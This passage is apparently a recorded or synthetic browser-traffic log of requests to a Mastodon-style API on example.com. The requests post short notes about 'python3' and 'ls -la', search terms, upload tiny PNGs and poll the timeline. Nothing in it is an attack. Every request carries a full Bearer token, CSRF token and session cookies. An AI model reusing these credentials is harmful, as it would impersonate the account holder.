_session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqVTFaalEwWkRCaFpEWTRabUZtT0dZeFlUWmhabVEzTjJKbFkyUTFaREF3SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDI6MTQuMTgyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--b92fab7dd30ff048d3464bbffc8a7f41ed76f6d1; _mastodon_session=j5QNf8MwXjO4vRdhMy38ES6HifRgyZpzJdPO7ITgaVYWqzZ0prC9nbRvI1maZ%2BQCG6puk35zZmTryfjpGGH7cKdK4pwr5I8ceLVBeNgjxFISlHtNQl0Rf9celIwmOymnzVcq60MnwgkZ2Pe4Nn3sEYbaOw3eDgBWGyl6HDzbB9zda0wZQqckmNz1LUtZ3iG241Tw7RNEwg3cpjWfP%2ByZ8U0hI%2FPMvK0rnHtXHrm9YyS4WxbWP%2FjCVrCokq3T8RjreDMojK6vGuDpVG%2FrNnMchNWCiFpbQlTLmPvJEmc0GSBSXuwy0LZ7Fgt1d157ZLV0Lu%2FDeqrS1xaek58wD7auPH1ZH0XXnY61I3x8lrwzPRrL6DKrklspZQqwXb4pQzwXLCFW0GQtE1Hk--4dD4L1a1wXIs8qqW--pUVSMwKxt4sifcIpfbha%2Bg%3D%3D"], "body": "{\"status\":\"Today I learned: `ls -la ~/.config` lists hidden files, and `python3 -m http.server` serves a folder. https://example.org/notes\",\"spoiler_text\":\"\",\"in_reply_to_id\":null,\"media_ids\":[],\"sensitive\":false,\"visibility\":\"public\",\"poll\":null,\"language\":\"en\",\"quoted_status_id\":null,\"quote_approval_policy\":\"public\"}"}
{"method": "POST", "target": "/api/v1/statuses", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 243", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: 4y8fueDarW-ue4CZC2FDhkf2BxXJG1L5RClvez07L3iyyygpRvsSBiRqq32vDqHtA8uHug__lxBdHhgNmnwW9w", "Authorization: Bearer Imd2JNqDrq-bktl3N0Jn2m5iHaDEXCBL2rl9dhX7YHg", "Idempotency-Key: f40781e3-7fa4-4aaa-8ec5-8323c4da1419", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/json", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/home", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqVTFaalEwWkRCaFpEWTRabUZtT0dZeFlUWmhabVEzTjJKbFkyUTFaREF3SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDI6MTQuMTgyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--b92fab7dd30ff048d3464bbffc8a7f41ed76f6d1; _mastodon_session=q89PV6HkeyvwYWK4N%2BiY4rwmw1DGDpXAl15dWM6RMnEcKawEiVbqcodZTS6LF5gz%2FLREXCNuzr0G1GSHEz93RxmIrmEzI3t9sPtKbRctmfxblcHdmvVZiLN8x%2Fr9iV8nV0KMv9eR%2Fwb%2BCAezozoZSh35w4VPcTQbQH9XSTtOHugCE5a%2BACR1omfoL0tj%2BxDovqRvY%2FkU5SyOgei8tAdvpHuvsc2BQJjeFQwOc%2BvAa4o4W49cIsKgfD2u1zevwjJv3OiDdYgxLJBskmEU3bCHMrPSX1kyTpvNp6P2CfoEF07QN93vko57t2rtbdXMnwuhBPtFjIOarBzfHB1pdcfe3DkUMkqCNCXc8JUTcSf35yOqxLKn6buRHKuYemZ09NuGaILMgCjJHcj3--6pPwPxYT88WOed%2BI--wxoNWJbXlmTow3urjXt2LQ%3D%3D"], "body": "{\"status\":\"Spoilers about the python3 talk\",\"spoiler_text\":\"powershell spoilers\",\"in_reply_to_id\":null,\"media_ids\":[],\"sensitive\":false,\"visibility\":\"public\",\"poll\":null,\"language\":\"en\",\"quoted_status_id\":null,\"quote_approval_policy\":\"public\"}"}
{"method": "GET", "target": "/api/v1/accounts/search?q=bo&resolve=false&limit=4", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: 4y8fueDarW-ue4CZC2FDhkf2BxXJG1L5RClvez07L3iyyygpRvsSBiRqq32vDqHtA8uHug__lxBdHhgNmnwW9w", "Authorization: Bearer Imd2JNqDrq-bktl3N0Jn2m5iHaDEXCBL2rl9dhX7YHg", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/plain, */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/home", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqVTFaalEwWkRCaFpEWTRabUZtT0dZeFlUWmhabVEzTjJKbFkyUTFaREF3SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDI6MTQuMTgyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--b92fab7dd30ff048d3464bbffc8a7f41ed76f6d1; _mastodon_session=T22sm3cQgO4wGh%2B4imiwzNOd%2BhTFf5gtTOhuvxtCLU14Y3ljCz8fm4mCvGIhhOfkXkdYvDB%2BtjeEhhihUigicdLXXE%2B93QJ2dK5EQMyPF%2BMPc4zkHFfOQ7vs9XHoXROY85fhFl%2FoG0fMj7rFWSxGNhqMX9C3%2B4d72gPS2cbSJ3i4q00FRtY96P9ORGkRsaSfIiY6E4c2MeW%2BD82Tt6LhTQH2JH2EatyBFcX7MmaBD0S1x6LBppUYWq1gGOrag%2F4%2BWBjdRPYx%2FgotSbc79G1%2F25B0k4bKX8%2F5n9upe%2F9zGBDQ5XMrQobQZNJaXE%2BKnXxCGCT9NX2FrqF1it1ob4S6PkJZIRe41RdAzixlyMAuPkycTsqqawnyuAp%2BSNTmgKmZI2eBQ3hZBFLu--%2Fg5aSkaEDpacK1Lj--7M9nTKUSZT8Ixg15auUmpw%3D%3D"], "body": ""}
{"method": "GET", "target": "/api/v1/accounts/search?q=bob+have&resolve=false&limit=4", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: 4y8fueDarW-ue4CZC2FDhkf2BxXJG1L5RClvez07L3iyyygpRvsSBiRqq32vDqHtA8uHug__lxBdHhgNmnwW9w", "Authorization: Bearer Imd2JNqDrq-bktl3N0Jn2m5iHaDEXCBL2rl9dhX7YHg", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/plain, */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/home", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqVTFaalEwWkRCaFpEWTRabUZtT0dZeFlUWmhabVEzTjJKbFkyUTFaREF3SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDI6MTQuMTgyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--b92fab7dd30ff048d3464bbffc8a7f41ed76f6d1; _mastodon_session=T22sm3cQgO4wGh%2B4imiwzNOd%2BhTFf5gtTOhuvxtCLU14Y3ljCz8fm4mCvGIhhOfkXkdYvDB%2BtjeEhhihUigicdLXXE%2B93QJ2dK5EQMyPF%2BMPc4zkHFfOQ7vs9XHoXROY85fhFl%2FoG0fMj7rFWSxGNhqMX9C3%2B4d72gPS2cbSJ3i4q00FRtY96P9ORGkRsaSfIiY6E4c2MeW%2BD82Tt6LhTQH2JH2EatyBFcX7MmaBD0S1x6LBppUYWq1gGOrag%2F4%2BWBjdRPYx%2FgotSbc79G1%2F25B0k4bKX8%2F5n9upe%2F9zGBDQ5XMrQobQZNJaXE%2BKnXxCGCT9NX2FrqF1it1ob4S6PkJZIRe41RdAzixlyMAuPkycTsqqawnyuAp%2BSNTmgKmZI2eBQ3hZBFLu--%2Fg5aSkaEDpacK1Lj--7M9nTKUSZT8Ixg15auUmpw%3D%3D"], "body": ""}
{"method": "POST", "target": "/api/v1/statuses", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 228", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: 4y8fueDarW-ue4CZC2FDhkf2BxXJG1L5RClvez07L3iyyygpRvsSBiRqq32vDqHtA8uHug__lxBdHhgNmnwW9w", "Authorization: Bearer Imd2JNqDrq-bktl3N0Jn2m5iHaDEXCBL2rl9dhX7YHg", "Idempotency-Key: d0c560c6-f1e5-4f72-b889-75c177dfb492", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/json", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/home", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqVTFaalEwWkRCaFpEWTRabUZtT0dZeFlUWmhabVEzTjJKbFkyUTFaREF3SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDI6MTQuMTgyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--b92fab7dd30ff048d3464bbffc8a7f41ed76f6d1; _mastodon_session=T22sm3cQgO4wGh%2B4imiwzNOd%2BhTFf5gtTOhuvxtCLU14Y3ljCz8fm4mCvGIhhOfkXkdYvDB%2BtjeEhhihUigicdLXXE%2B93QJ2dK5EQMyPF%2BMPc4zkHFfOQ7vs9XHoXROY85fhFl%2FoG0fMj7rFWSxGNhqMX9C3%2B4d72gPS2cbSJ3i4q00FRtY96P9ORGkRsaSfIiY6E4c2MeW%2BD82Tt6LhTQH2JH2EatyBFcX7MmaBD0S1x6LBppUYWq1gGOrag%2F4%2BWBjdRPYx%2FgotSbc79G1%2F25B0k4bKX8%2F5n9upe%2F9zGBDQ5XMrQobQZNJaXE%2BKnXxCGCT9NX2FrqF1it1ob4S6PkJZIRe41RdAzixlyMAuPkycTsqqawnyuAp%2BSNTmgKmZI2eBQ3hZBFLu--%2Fg5aSkaEDpacK1Lj--7M9nTKUSZT8Ixg15auUmpw%3D%3D"], "body": "{\"status\":\"@bob have you tried python3 yet? :)\",\"spoiler_text\":\"\",\"in_reply_to_id\":null,\"media_ids\":[],\"sensitive\":false,\"visibility\":\"public\",\"poll\":null,\"language\":\"en\",\"quoted_status_id\":null,\"quote_approval_policy\":\"public\"}"}
{"method": "POST", "target": "/api/v2/media", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 270", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: 4y8fueDarW-ue4CZC2FDhkf2BxXJG1L5RClvez07L3iyyygpRvsSBiRqq32vDqHtA8uHug__lxBdHhgNmnwW9w", "Authorization: Bearer Imd2JNqDrq-bktl3N0Jn2m5iHaDEXCBL2rl9dhX7YHg", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryVvXX0xc5vKAlW6cW", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/home", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqVTFaalEwWkRCaFpEWTRabUZtT0dZeFlUWmhabVEzTjJKbFkyUTFaREF3SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDI6MTQuMTgyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--b92fab7dd30ff048d3464bbffc8a7f41ed76f6d1; _mastodon_session=zDd1jvw8R90jtMLwXO7zKsLDsc%2BwRiT267e0rlzV5QUlW2FJa8hFgGt%2FqOZdtfWbw29ZNYv0yhXmiJuz0NpsXL3MET%2BUzEqPz8Ztw2NNPlQvoNZMNiaYtpmV8JumaFDKbzQLYzVlpzW1GSGz%2BAo1KaeVBh4uaWldAzadX9dfjTWNHU9sQD%2BHIIKveuf8mJdGLi4g%2F73r6wAxaHwY9gqxyeKFLJew2o%2F9B%2FvmSbyw09uLCy7%2F8Lv%2BWC16z9SQogdIcEN4PObk94oLJuiJzUr9bRnvf2ViN0LOI%2BcKNUXZR3h2ricuBwAhsFqePZSCXqWKgKXGvt2FT0QrDk2B%2FEG%2FXyYLzfUb5vogbfjETFbGZK%2BQpgcfrLB3ZyRLqbxE4GmOfLgVoip3tUxY--xGWcksEXAHHRZCy%2F--vKy815ZRV7sE%2FQH5jF83nw%3D%3D"], "body": "------WebKitFormBoundaryVvXX0xc5vKAlW6cW\r\nContent-Disposition: form-data; name=\"file\"; filename=\"Notes python3.png\"\r\nContent-Type: image/png\r\n\r\n\ufffdPNG\r\n\u001a\n\u0000\u0000\u0000\rIHDR\u0000\u0000\u0000\u0010\u0000\u0000\u0000\u0010\b\u0002\u0000\u0000\u0000\ufffd\ufffdh6\u0000\u0000\u0000\u0017IDATx\ufffdc\ufffd\ufffd\ufffd@\u0012\"M\ufffd\ufffd\ufffdQ\rCJ\u0003\u0000\ufffdu\u007f\u0010\u0019i$\ufffd\u0000\u0000\u0000\u0000IEND\ufffdB`\ufffd\r\n------WebKitFormBoundaryVvXX0xc5vKAlW6cW--\r\n"}
{"method": "POST", "target": "/api/v2/media", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 274", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: 4y8fueDarW-ue4CZC2FDhkf2BxXJG1L5RClvez07L3iyyygpRvsSBiRqq32vDqHtA8uHug__lxBdHhgNmnwW9w", "Authorization: Bearer Imd2JNqDrq-bktl3N0Jn2m5iHaDEXCBL2rl9dhX7YHg", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7M68vQfsTam71WxV", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/home", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqVTFaalEwWkRCaFpEWTRabUZtT0dZeFlUWmhabVEzTjJKbFkyUTFaREF3SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDI6MTQuMTgyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--b92fab7dd30ff048d3464bbffc8a7f41ed76f6d1; _mastodon_session=my9t%2FIFIx1CqQmJp8LOrDbGAmOWHAAMVRzRjf%2BRJbEmtG9ybODPOfBMLMo73xOERXfCrfW7ifwonj8EoesQItbLvtuOZalmz8uAGBB6MljeOsBTvcxs8MIjBvcUtkF4W4k5%2FrB8rb9Q6SIsY7oAtlT1h7550KKMh%2Bay%2B%2FnehahoVLN2cXVa40eIMm8SyCdZjopb%2FY7zBGDIJNDyCo6Fe9o1UfSkcBxZ0GMXExrAwFtzsmE1LOnPVEMpzH2iOqPswJ%2BJUlSv35t9xqo5Rt7mFAKQmXxv7F6EdjYTpKqV7mhVTlcr5wTLZjWFTFNXMsoBwkRw4IQMj7N4pJ%2FXLmTmjM6eqSmYZBLc%2FZ4UR8lJZ4Ibi5mlnZe0jOJn0GyvgFKrWyc7LtSBqjbtQ--pAFEGqNoR%2FLtyZYW--RWzDxh7SBwyJ5dQjap%2BgqQ%3D%3D"], "body": "------WebKitFormBoundary7M68vQfsTam71WxV\r\nContent-Disposition: form-data; name=\"file\"; filename=\"Example .htaccess.png\"\r\nContent-Type: image/png\r\n\r\n\ufffdPNG\r\n\u001a\n\u0000\u0000\u0000\rIHDR\u0000\u0000\u0000\u0010\u0000\u0000\u0000\u0010\b\u0002\u0000\u0000\u0000\ufffd\ufffdh6\u0000\u0000\u0000\u0017IDATx\ufffdc\ufffd\ufffd\ufffd@\u0012\"M\ufffd\ufffd\ufffdQ\rCJ\u0003\u0000\ufffdu\u007f\u0010\u0019i$\ufffd\u0000\u0000\u0000\u0000IEND\ufffdB`\ufffd\r\n------WebKitFormBoundary7M68vQfsTam71WxV--\r\n"}
{"method": "GET", "target": "/packs/form_fields-DfnQ2g39.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqVTFaalEwWkRCaFpEWTRabUZtT0dZeFlUWmhabVEzTjJKbFkyUTFaREF3SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDI6MTQuMTgyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--b92fab7dd30ff048d3464bbffc8a7f41ed76f6d1; _mastodon_session=uzfS6TLAyWh5wUdt%2FnUnWe2TtnFzvC9b%2FOPbz2RrI95ejaAFx0Je2A5gMC2rH3XXNpnbXqws0YvNHT1K7%2BJufXKIEMs4q8OXeuhvKrzqFhVHG8%2F6GivC%2ByaS32S1Je9mhvf0kV4cW46z0TBTv%2BzvqxSiFdzQkFn7rs03cp1UZH%2BB3pQbFckLyfZl7fwrxF%2F6Azdg%2BemU8Kqeo1XPf3q3QwB3ngS51emJ3NDrxJ9rNDSGUwiJ1rbCHGXdP4ckdjmTsf3%2BeBoYsQVPbp0M6aUcvRLn8v7onscBDXa%2FTU5Njcouu1UZY1w5NwW%2BKlDGfgPahXaq2CszsU%2BwlexJoJCvli8LhmQHiqDObfca9YLy30YMy9hlvlQKpGbNE6xnEVXhl%2FeEfBwqbf3C--mPjXtM8XGh3jyGuj--U%2BUCXBpsPK6Us3f%2BU0IJcw%3D%3D"], "body": ""}
{"method": "GET", "target": "/api/v2/search?q=python3&resolve=true&limit=11", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: 4y8fueDarW-ue4CZC2FDhkf2BxXJG1L5RClvez07L3iyyygpRvsSBiRqq32vDqHtA8uHug__lxBdHhgNmnwW9w", "Authorization: Bearer Imd2JNqDrq-bktl3N0Jn2m5iHaDEXCBL2rl9dhX7YHg", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/plain, */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/search?q=python3", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqVTFaalEwWkRCaFpEWTRabUZtT0dZeFlUWmhabVEzTjJKbFkyUTFaREF3SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDI6MTQuMTgyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--b92fab7dd30ff048d3464bbffc8a7f41ed76f6d1; _mastodon_session=uzfS6TLAyWh5wUdt%2FnUnWe2TtnFzvC9b%2FOPbz2RrI95ejaAFx0Je2A5gMC2rH3XXNpnbXqws0YvNHT1K7%2BJufXKIEMs4q8OXeuhvKrzqFhVHG8%2F6GivC%2ByaS32S1Je9mhvf0kV4cW46z0TBTv%2BzvqxSiFdzQkFn7rs03cp1UZH%2BB3pQbFckLyfZl7fwrxF%2F6Azdg%2BemU8Kqeo1XPf3q3QwB3ngS51emJ3NDrxJ9rNDSGUwiJ1rbCHGXdP4ckdjmTsf3%2BeBoYsQVPbp0M6aUcvRLn8v7onscBDXa%2FTU5Njcouu1UZY1w5NwW%2BKlDGfgPahXaq2CszsU%2BwlexJoJCvli8LhmQHiqDObfca9YLy30YMy9hlvlQKpGbNE6xnEVXhl%2FeEfBwqbf3C--mPjXtM8XGh3jyGuj--U%2BUCXBpsPK6Us3f%2BU0IJcw%3D%3D"], "body": ""}
{"method": "GET", "target": "/api/v2/search?q=powershell&resolve=true&limit=11", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: 4y8fueDarW-ue4CZC2FDhkf2BxXJG1L5RClvez07L3iyyygpRvsSBiRqq32vDqHtA8uHug__lxBdHhgNmnwW9w", "Authorization: Bearer Imd2JNqDrq-bktl3N0Jn2m5iHaDEXCBL2rl9dhX7YHg", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/plain, */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/search?q=powershell", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqVTFaalEwWkRCaFpEWTRabUZtT0dZeFlUWmhabVEzTjJKbFkyUTFaREF3SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDI6MTQuMTgyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--b92fab7dd30ff048d3464bbffc8a7f41ed76f6d1; _mastodon_session=uzfS6TLAyWh5wUdt%2FnUnWe2TtnFzvC9b%2FOPbz2RrI95ejaAFx0Je2A5gMC2rH3XXNpnbXqws0YvNHT1K7%2BJufXKIEMs4q8OXeuhvKrzqFhVHG8%2F6GivC%2ByaS32S1Je9mhvf0kV4cW46z0TBTv%2BzvqxSiFdzQkFn7rs03cp1UZH%2BB3pQbFckLyfZl7fwrxF%2F6Azdg%2BemU8Kqeo1XPf3q3QwB3ngS51emJ3NDrxJ9rNDSGUwiJ1rbCHGXdP4ckdjmTsf3%2BeBoYsQVPbp0M6aUcvRLn8v7onscBDXa%2FTU5Njcouu1UZY1w5NwW%2BKlDGfgPahXaq2CszsU%2BwlexJoJCvli8LhmQHiqDObfca9YLy30YMy9hlvlQKpGbNE6xnEVXhl%2FeEfBwqbf3C--mPjXtM8XGh3jyGuj--U%2BUCXBpsPK6Us3f%2BU0IJcw%3D%3D"], "body": ""}
{"method": "GET", "target": "/api/v2/search?q=ls+-la&resolve=true&limit=11", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: 4y8fueDarW-ue4CZC2FDhkf2BxXJG1L5RClvez07L3iyyygpRvsSBiRqq32vDqHtA8uHug__lxBdHhgNmnwW9w", "Authorization: Bearer Imd2JNqDrq-bktl3N0Jn2m5iHaDEXCBL2rl9dhX7YHg", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/plain, */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/search?q=ls+-la", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqVTFaalEwWkRCaFpEWTRabUZtT0dZeFlUWmhabVEzTjJKbFkyUTFaREF3SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDI6MTQuMTgyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--b92fab7dd30ff048d3464bbffc8a7f41ed76f6d1; _mastodon_session=uzfS6TLAyWh5wUdt%2FnUnWe2TtnFzvC9b%2FOPbz2RrI95ejaAFx0Je2A5gMC2rH3XXNpnbXqws0YvNHT1K7%2BJufXKIEMs4q8OXeuhvKrzqFhVHG8%2F6GivC%2ByaS32S1Je9mhvf0kV4cW46z0TBTv%2BzvqxSiFdzQkFn7rs03cp1UZH%2BB3pQbFckLyfZl7fwrxF%2F6Azdg%2BemU8Kqeo1XPf3q3QwB3ngS51emJ3NDrxJ9rNDSGUwiJ1rbCHGXdP4ckdjmTsf3%2BeBoYsQVPbp0M6aUcvRLn8v7onscBDXa%2FTU5Njcouu1UZY1w5NwW%2BKlDGfgPahXaq2CszsU%2BwlexJoJCvli8LhmQHiqDObfca9YLy30YMy9hlvlQKpGbNE6xnEVXhl%2FeEfBwqbf3C--mPjXtM8XGh3jyGuj--U%2BUCXBpsPK6Us3f%2BU0IJcw%3D%3D"], "body": ""}
{"method": "GET", "target": "/api/v1/timelines/home?since_id=117589367555012187", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: 4y8fueDarW-ue4CZC2FDhkf2BxXJG1L5RClvez07L3iyyygpRvsSBiRqq32vDqHtA8uHug__lxBdHhgNmnwW9w", "Authorization: Bearer Imd2JNqDrq-bktl3N0Jn2m5iHaDEXCBL2rl9dhX7YHg", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/plain, */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/search?q=ls+-la", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqVTFaalEwWkRCaFpEWTRabUZtT0dZeFlUWmhabVEzTjJKbFkyUTFaREF3SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDI6MTQuMTgyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--b92fab7dd30ff048d3464bbffc8a7f41ed76f6d1; _mastodon_session=uzfS6TLAyWh5wUdt%2FnUnWe2TtnFzvC9b%2FOPbz2RrI95ejaAFx0Je2A5gMC2rH3XXNpnbXqws0YvNHT1K7%2BJufXKIEMs4q8OXeuhvKrzqFhVHG8%2F6GivC%2ByaS32S1Je9mhvf0kV4cW46z0TBTv%2BzvqxSiFdzQkFn7rs03cp1UZH%2BB3pQbFckLyfZl7fwrxF%2F6Azdg%2BemU8Kqeo1XPf3q3QwB3ngS51emJ3NDrxJ9rNDSGUwiJ1rbCHGXdP4ckdjmTsf3%2BeBoYsQVPbp0M6aUcvRLn8v7onscBDXa%2FTU5Njcouu1UZY1w5NwW%2BKlDGfgPahXaq2CszsU%2BwlexJoJCvli8LhmQHiqDObfca9YLy30YMy9hlvlQKpGbNE6xnEVXhl%2FeEfBwqbf3C--mPjXtM8XGh3jyGuj--U%2BUCXBpsPK6Us3f%2BU0IJcw%3D%3D"], "body": ""}
